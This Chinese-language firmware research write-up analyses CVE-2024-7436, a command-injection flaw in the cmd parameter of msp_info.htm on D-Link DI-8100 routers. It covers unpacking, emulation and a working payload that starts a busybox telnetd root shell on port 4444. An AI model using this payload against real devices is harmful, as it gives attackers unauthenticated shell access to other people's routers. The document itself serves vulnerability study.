CVE-2024-7436
[[CVE]]
[固件下载](D-Link Technical Support](https://www.dlink.com.cn/techsupport/ProductInfo.aspx?m=DI-8100)
Ubuntu18
IDA9.1
binwalk
[[FirmAE]]
[[firmwalker]]
固件分析
固件解包
1 | binwalk -Me DI_8100-16.07.26A1.zip |
使用firmwalker进行扫描
1 | ./firmwalker.sh /home/blonet/下载/CVE-2024-7436/_DI_8100-16.07.26A1.zip.extracted/_DI_8100-16.07.26A1.trx.extracted/_8C.extracted/_3F8000.extracted/cpio-root |

搜索与jhttp相关的文件
1 | grep -ir "jhttpd" |

分析sbin/rc
rc里起的jhttpd服务
系统启动过程中会执行名为 init 的程序,这边做了软连接,启动时就会启动rc程序
固件模拟
使用FirmAE进行模拟
1 | sudo ./run.sh -d dlink DI_8100-16.07.26A1.trx |

漏洞分析
漏洞在于msp_info.htm 页面中 cmd参数造成命令执行
分析服务文件jhttpd
命令执行漏洞
访问页面显示错误:没有flag
flag内容是我们传入的,根据flag内容会执行不同的命令,flag=cmd的时候就是执行我们漏洞函数
我们使用bp获取访问msp_info.htm页面时的http请求包

添加flag内容进行发送,显示not cmd
成功进入
我们再尝试别的命令
使用ls显示no order,please help,jhttpd中没有此字符串内容,搜索对应的文件
1 | grep -ir "no order,please help" |


字符串在usr/sbin/wys中
说明sprintf(ad2, "wys %s > /tmp/msp.info 2>&1", parm_2);实际上执行了
其中wys程序,发现他是一个类似busybox的程序
使用cmd=|busybox%20ls有正确回显
使用FirmAE的shell查看busybox工具箱中有那些内容可以使用
其中可以通过telnetd,来进行反弹shell
我们先测试,在FirmAE的shell使用telnetd是否可以完成反弹shell的操作
1 | busybox telnetd -l /bin/sh -p 4444 |

成功
现在我们只需要将cmd=/bin/busybox telnetd -l /bin/sh -p 4444传入即可














![[BJDCTF 2020]YDSneedGirlfriend](/img/4.jpg)

